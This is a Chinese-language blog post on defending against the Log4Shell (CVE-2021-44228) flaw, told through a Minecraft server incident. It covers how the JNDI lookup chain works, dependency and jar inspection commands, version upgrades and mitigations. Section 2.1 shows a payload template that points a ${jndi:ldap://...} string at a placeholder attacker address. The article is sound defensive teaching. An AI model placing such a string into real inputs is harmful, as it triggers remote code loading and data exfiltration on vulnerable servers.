凌晨两点十七分手机在床头柜上震个不停。运维群里有人贴了一张控制台截图满屏都是同一类报错中间夹着几个外网 IP。那台机器上跑的是一个私人 Minecraft 服务器白天还有十几个人在线到了半夜却被塞进来一堆奇怪的聊天内容——有人在游戏里发了一串看起来像占位符的字符串服务器随即开始对外发起连接CPU 一路飙到顶最后直接崩掉。这不是段子这是Log4j2远程代码执行漏洞CVE-2021-44228圈内习惯叫它 Log4Shell在真实场景里的样子。它和 Minecraft 扯上关系不是巧合Minecraft 的服务端是 JAVA 写的早期版本大量依赖 log4j 这套日志组件而游戏里的聊天框、玩家昵称、甚至某些协议字段都会被原样写进日志。攻击者只要在能进入日志的地方塞一段特殊的${}表达式就可能触发一次 JNDI 注入让服务器主动去加载外部资源。这篇文章面向的是几类人自己开过 Minecraft 服务器、做过 JAVA 后端、正在准备 JAVA 面试时被问到你了解 log4j 漏洞吗或者手里有一堆老项目需要做安全排查。我会把这条漏洞链从原理拆到实操把版本怎么查、升级怎么选、升不动的时候怎么缓解、日志这条长期风险线怎么管尽量讲透。不堆术语不给花架子能直接抄的做法我都会写清楚。1. 一个聊天框引发的血案Minecraft 服务端为什么首当其冲先把场景还原清楚不然很难理解为啥一个游戏服务器会被一条 JAVA 漏洞精准命中。Minecraft 服务端本身是个长期运行的 JAVA 进程它需要记录大量运行信息谁加入了、谁说了什么、谁触发了什么命令。这些内容天然来自外部输入而且是不可信的外部输入。日志组件在这里扮演的角色就是把外部输入原封不动地转成一行行文本。1.1 Log4j 在 JAVA 世界里到底处于什么位置log4j 是 Apache 基金会下的日志框架log4j 2.x 是它的第二代实现。做过 JAVA 项目的人应该都有印象一个正常的后端工程依赖树里出现 log4j-core、log4j-api、slf4j 这些东西几乎是标配。它解决的问题很朴素让开发者能按级别、按格式、按输出目标控制台、文件、远程来记录程序运行状态。问题就出在它的功能丰富上。log4j 2.x 为了让日志配置更灵活引入了一套叫 Lookup 的机制允许在配置文件和日志消息里写${...}这样的表达式运行时会被替换成实际值。比如你可以在配置里写${java:version}来输出当前 JAVA 版本这种设计在开发阶段确实方便。关键在于这套解析在早期版本里对日志消息内容是默认开启的。也就是说只要有一段外部输入进了日志log4j 就会把它当成模板去解析一遍。开发者以为自己在记录文本实际上是在执行模板。这个认知错位是整条漏洞链的起点。1.2 Minecraft 服务端把风险面放大到了什么程度如果只是普通后端攻击者要找到一个能进日志的入口还得费点劲。Minecraft 服务端不一样它把入口摆在了明面上。游戏聊天是最直接的通道。玩家在聊天框里打字内容会被服务端记录。这行字进了日志就等于进了解析器。早期版本的 Minecraft 服务端大致覆盖 1.7 到 1.18 这一段内嵌的 log4j 版本多数落在受影响范围内而且玩家数量多、在线时间长、对外开放端口攻击成本极低——不需要账号不需要权限连进去发一句话就行。除此之外还有几个容易被忽略的入口玩家昵称。很多服务端插件会把昵称写进日志昵称本身是可以包含特殊字符的某些协议交互字段比如客户端握手时带的信息再往外扩一层很多 Minecraft 服务器会在同一台机器上挂论坛、挂面板、挂网页地图这些 Web 服务如果是 JAVA 写的同样可能带 log4j。我在帮朋友处理那台服务器时发现最麻烦的不是漏洞本身而是它把一个纯技术问题变成了运营问题。服务器崩了玩家跑光群里开始有人问是不是被针对了。所以对开服的人来说理解这条链路的意义不在于炫技而在于知道哪些地方必须马上堵上。提示判断自己的 Minecraft 服务端是否受影响不能只看游戏版本号要看服务端 jar 包内部实际打包的 log4j 版本。不同整合包、不同服务端核心原版、各种第三方优化核心打包的版本可能完全不同。2. 拆开这条利用链JNDI 注入到底发生在哪一步很多人看漏洞报告的时候会卡在一个地方为什么打印一行日志这件事最后会演变成服务器执行了别人的代码中间隔着的这几步才是真正值得理解的部分。我把链条按顺序拆开讲每一步都对应一个可以被观察到的现象。2.1 日志框架的贴心功能消息里的 ${} 会被解析log4j 2.x 在格式化日志消息时会走一遍 Lookup 替换流程。它会把形如${前缀:参数}的片段交给对应的 Lookup 处理器去解析。内置的 Lookup 有不少比如环境变量、系统属性、日期、JAVA 运行时信息。其中有一个叫 JNDI 的 Lookup作用是去访问命名服务获取对象。JNDI 是 JAVA 平台提供的一套统一接口底下可以接目录服务、命名服务等各种实现。设计初衷是让程序能通过一个名字找到远端资源比如数据库连接、消息队列配置。把这两件事拼起来如果日志消息里出现了 JNDI 形式的 Lookup 表达式log4j 就会去请求对应的地址。而请求地址这件事是可以被外部输入控制的。攻击者要做的就是把一段${jndi:...}形式的字符串塞进任何会被日志记录的位置形如${jndi:ldap://攻击者控制的地址/路径}这样的结构。2.2 从字符串到远程加载中间那几步完整的链路大致是这样推进的外部输入进入日志。攻击者通过聊天、请求头、表单、昵称等任意可写入位置把表达式字符串送进去。log4j 格式化这条日志时识别出${}并调用 JNDI Lookup。JVM 向表达式里指定的地址发起一次网络请求。这一步在服务器侧看就是一个陌生外连。目标服务返回一段引用信息JVM 按照约定去获取对应的类定义。类被加载并执行攻击者的代码就跑在了服务器进程里。这里面第 5 步是最严重的后果但它需要额外条件配合。而第 3 步就已经足够暴露风险了哪怕后续加载失败服务器也已经完成了对外连接这就成了信息外带通道。很多攻击者会故意把请求打到自己的记录服务目的就是确认这个目标存在漏洞顺便把环境变量、主机名这类信息带出去。我实际观察过的那台服务器报错信息里全是连接超时和地址解析失败说明第 3 步在反复发生只是后面几步没走通。但这并不代表安全——被反复触发的连接已经把机器打得半死。2.3 几个容易想当然的误区处理这类事件时我见过不少想当然的判断这里挨个澄清一下。第一个误区是我用了低版本 JAVA 所以就没事。JAVA 版本确实会影响后续类加载能不能成功新版本 JAVA 对远程类加载做了更严格的限制。但前面几步——表达式解析、外连请求——照样会发生。把风险判断建立在加载应该会失败上是非常脆弱的思路。第二个误区是我只在本地跑不对外网开放就行。漏洞触发的前提是外部输入能进日志。内网系统的用户输入、上游服务传来的字段、甚至日志文件被导入分析平台后再次解析都可能成为入口。内网横向移动正是攻击者最擅长的环节。第三个误区是我升级了 log4j 就一定没事。如果项目里同时还存在其他版本残留、或者被打进了 fat jar 的多份副本升级了主依赖但没清干净问题依然在。常见判断实际情况建议动作JAVA 版本高就安全外连请求仍会发生仍按漏洞处理别赌加载失败内网服务可以缓一缓上游输入、内网横向均可达与公网服务同优先级处理升级依赖就万事大吉可能有多版本副本残留排查打包产物确认唯一版本关掉日志就没事影响可观测性且有其他输出路径用关闭 Lookup 的方式代替3. 排查自己的项目到底有没有中招判断有没有中招这件事最忌讳靠感觉。我习惯分三层来查依赖声明层、打包产物层、运行行为层。三层结果互相印证基本就不会漏。这一节给的都是可以直接敲的命令。3.1 从依赖树入手Maven 和 Gradle 的查法Maven 项目最直接的方式是看依赖树把所有跟 log4j 相关的坐标都揪出来mvn dependency:tree -Dincludesorg.apache.logging.log4j这个命令会过滤出 log4j 相关的依赖关系你能看到是谁把它带进来的——有时候是直接声明有时候是通过某个中间件、某个日志适配包间接引入。间接引入这种情况最容易被忽略因为你在 pom 里搜不到它。Gradle 项目对应的是./gradlew dependencies --configuration runtimeClasspath | grep log4j注意这里是遍历运行时依赖而不是只看编译依赖。很多日志实现只在运行时参与只看编译依赖会漏。如果要更系统地看可以用 Maven 的依赖分析插件把被谁引入这一步也标出来mvn dependency:tree -Dverbose -Dincludesorg.apache.logging.log4j-Dverbose会把冲突和省略的节点也展开。我遇到过一种情况项目里同时存在 2.14 和 2.11 两个版本Maven 按最短路径选了一个但另一个仍然被打进了产物里。只看最终生效版本是不够的得看全部出现过的版本。3.2 从打包产物入手直接翻 jar 里的证据依赖树是声明层面的答案打包产物才是运行层面的真相。最笨也最可靠的办法就是解开 jar 直接看。unzip -l your-app.jar | grep log4j-core如果项目是 Spring Boot 那种 fat jar内部依赖的 jar 会被放在特定目录下你需要先解一层再解一层。更省事的做法是用zipinfo或者直接用一个临时目录展开mkdir -p /tmp/appcheck cd /tmp/appcheck unzip -q /path/to/your-app.jar -d ./ find . -name log4j-core*.jar找到之后看 jar 内部的版本标识文件unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep -i version这里有一个非常实用的判据如果某个 log4j-core 的 jar 里存在 JndiLookup 这个类说明这个包的 Lookup 能力还在。unzip -l log4j-core-2.x.jar | grep JndiLookup这个检查比记版本号更直观因为它直接回答这个包能不能被触发而不是这个包是不是在受影响列表里。Minecraft 服务端可以套用同样的思路——把服务端 jar 解开翻它的依赖目录看打包进去的 log4j 是什么版本。3.3 运行期验证的稳妥做法做完静态排查如果还想确认运行期行为我建议做一个无害的探针在自己完全掌控的环境里往日志里打一条包含${java:version}这类只读取本地信息的表达式观察它是否被替换成了真实的版本号。如果被替换了说明消息解析是开启的风险面存在如果没有被替换说明这个通道已经被关掉了。这个方法的价值在于它不涉及任何外部网络请求完全在本地闭环不会给任何人造成影响。相比之下网上流传的一些验证脚本会主动向外部地址发起连接那种做法我不建议在别人的系统上使用也不建议在自己生产环境上跑。排查完记得把结论落到一张表里别停留在脑子里检查项我关注的结论不合格时的处理依赖声明是否存在受影响版本调整依赖统一版本间接引入是哪个组件带进来的升级上游组件或做排除打包产物实际打进了几份副本清理多余副本重新构建运行行为消息解析是否开启关闭 Lookup 或升级服务端 jarMinecraft 内嵌版本替换或加启动参数4. 处置升级、缓解以及 Minecraft 这套特殊环境怎么收尾排查清楚之后就是处置。这一节我把方案分成升级和缓解两条路再单独说 Minecraft 这种特殊环境的处理差异。顺序上永远是先想办法升级升不动才谈缓解。4.1 版本怎么选才算升到位选版本不能只看最新要看你的 JAVA 运行时版本因为 log4j 针对不同 JAVA 基线做了不同的维护分支。大致对应关系是这样的JAVA 运行时建议升级到的分支说明JAVA 8 及以上2.17 系列主路线修复最完整JAVA 72.12 系列老基线维护分支JAVA 62.3 系列更老基线功能受限升级时有个细节容易被忽略只升 log4j-core 不升 log4j-api 是有风险的。这两个包的版本要匹配否则可能出现 API 不兼容的报错表现为启动直接失败或者日志功能静默失效。我的做法是统一用 BOM 管理版本或者显式声明两者的版本号一致。升完之后别急着发布跑一遍三件事启动是否正常、日志是否正常输出、之前那个无害探针是否已不再被解析。第三件事最关键它是升级真的生效了的直接证据。4.2 升不了的时候有哪些临时手段代价是什么现实情况里总有升不动的时候——老项目锁死了 JAVA 版本、某个中间件不兼容新 log4j、或者根本拿不到源码只能改配置。这时候有几条缓解路径我按推荐程度排一下。第一选择是关闭消息内部的 Lookup 解析。这是最干净的缓解方式因为它精准地关掉了问题通道而不是把整个功能砍掉。可以通过启动参数设置-Dlog4j2.formatMsgNoLookupstrue如果服务是用脚本启动的就把这个参数加到 JAVA 启动命令里。这个改动的好处是零代码侵入、可随时回退。代价是如果你确实依赖于在日志消息里写 Lookup 表达式极少数场景那部分会失效。第二选择是移除 JndiLookup 类本身。做法是把 log4j-core 的 jar 里那个类文件删掉让解析到这个前缀时找不到实现zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class这个操作破坏性更强一点因为它直接改了第三方包的完整性。做了之后要重新校验包的哈希值并且在后续升级时注意别把这个改动带进新版本。适合目前只能用这个特定 jar、无法替换的场景。第三选择是网络层出站限制。把不必要的出站流量掐掉能大幅降低漏洞被成功利用的概率也能减少信息外带。这是一层很好的兜底但不能当作唯一手段因为正常业务经常需要访问外部资源白名单很难做得足够细。注意任何缓解措施都要记录在案写清楚为什么这么做、什么时候做的、计划什么时候撤销。我见过太多临时措施变成永久措施最后没人记得当初为什么改了配置。4.3 Minecraft 服务端与客户端的处理差异Minecraft 这个场景的处理和普通后端有明显的不同因为你能改的东西很有限。服务端这边主流核心在漏洞公开后基本都发布过修复版本直接换用修复后的核心是最省事的路。如果因为整合包依赖不能换核心那就在启动脚本里加启动参数java -Dlog4j2.formatMsgNoLookupstrue -Xmx4G -jar server.jar nogui整合包通常有自己的启动脚本bat 或 sh找到实际执行 java 命令的那一行加参数就行。注意有些启动器会把参数包一层改错地方不会生效——改完一定要在启动日志里确认参数确实带上了。还有一个常被忽略的点客户端同样受影响。玩家用旧版本客户端连服务器服务端发回的内容也包含聊天、玩家列表等字段同样可能触发。所以对玩家的建议是更新到修复后的游戏版本。这一条在实际推广时阻力很大因为老玩家往往舍不得换版本但该说还是得说。最后是把对外开放的入口收一收。不在用旧核心的服务器先把端口暴露范围缩小、加上白名单能显著降低被打的概率。这不是根治但能给你争取到从容处理的时间。5. 补完漏洞之后日志脱敏和依赖治理才是长期活漏洞打完补丁事情其实只做了一半。我处理过几次之后最大的感受是Log4j 只是把外部输入进日志这件事的风险从一个长期被忽视的角落突然打到了聚光灯下。补丁能修掉这一个具体问题但那条风险线还在。5.1 用户输入进日志这件事本身就该被管起来仔细想想我们平时往日志里写东西有多随意把用户提交的整个 JSON 打出来、把请求头原样输出、把异常信息连带上游返回一起打。这些内容里包含什么写代码的时候基本没人管。我的建议是建立一条简单的约定日志里不出现未经处理的外部原始输入。具体做法可以分几档长度截断。任何来自外部的字符串写日志前先截断。这既防注入类问题也防日志被超大内容撑爆磁盘。我一般截到几百字符。危险字符转义或替换。像${}、换行符这类在日志里有特殊含义的字符做一次转义。换行符尤其要处理因为它可以被用来伪造日志行干扰后续的日志分析。结构化日志要谨慎。看起来把用户输入放进 JSON 字段更安全但如果最终渲染模板仍然会解析内容风险并不会因为结构化了而消失。安全的是渲染方式不是数据格式。这条约定的成本很低收益却是长期的。我在一个项目里推行之后日志体积下降了将近三成排查问题时反而更清晰因为不再有巨大的无意义堆叠。5.2 依赖治理别让下一次背锅来得猝不及防这次事件里最让人措手不及的是很多团队根本不知道自己用了 log4j——它是被某个中间件悄悄带进来的。这说明问题不在 log4j 本身而在依赖可见性。几个可以落地的动作。第一是定期生成依赖清单把运行时依赖的坐标和版本导出成一份可检索的列表最好是机器可读的格式方便跟公开的漏洞信息做比对。第二是构建时做版本收敛同一个组件原则上只保留一个版本多版本共存本身就是隐患。第三是把安全扫描接进构建流程让引入已知有问题的版本这件事在合并阶段就被拦下来而不是等到出事之后回溯。这里要提醒一点扫描工具给的是线索不是结论。它会报出大量理论上受影响的条目你需要结合自己的实际调用路径去判断。我见过团队因为扫描报告里几百条告警而直接放弃处理这比不扫描更糟。正确做法是先按是否真的被调用是否暴露在不可信输入下两个维度排序优先处理真正能被打到的。5.3 网关兜底能挡住什么挡不住什么网关和防护设备在这种事件里能起作用但要清楚它的边界。它能做的拦截明显带有可疑表达式特征的请求对高频异常访问做限速把已知的恶意来源挡在外面。这些能降低被批量扫描打中的概率也能在漏洞公开后的窗口期争取时间。它挡不住的你的内部服务之间互相调用时携带的字段日志系统之间传递的内容以及任何绕过了网关的路径。也就是说网关是一层有用的过滤但它防御的是外部入口而这条漏洞的风险面覆盖了所有能写入日志的地方。所以我把网关定位成兜底而不是主力。主力永远是版本升级、解析关闭、输入处理这三件事。把顺序搞反了就会出现网关规则写了几百条、核心版本还是老版本这种纸面安全的状态。我个人的体会是这类漏洞最难的从来不是技术本身——补丁怎么打、参数怎么加搜一下就有答案。难的是它逼着你承认一件事平时那些反正只是记个日志反正是内网反正版本够新的判断其实都没经过验证。那次帮朋友处理完服务器之后我给自己手上的几个老项目做了一遍完整排查关于 Maven 依赖树的那个过滤命令到现在还挂在我的日常脚本里每隔一段时间跑一次比等到出事再慌张要划算得多。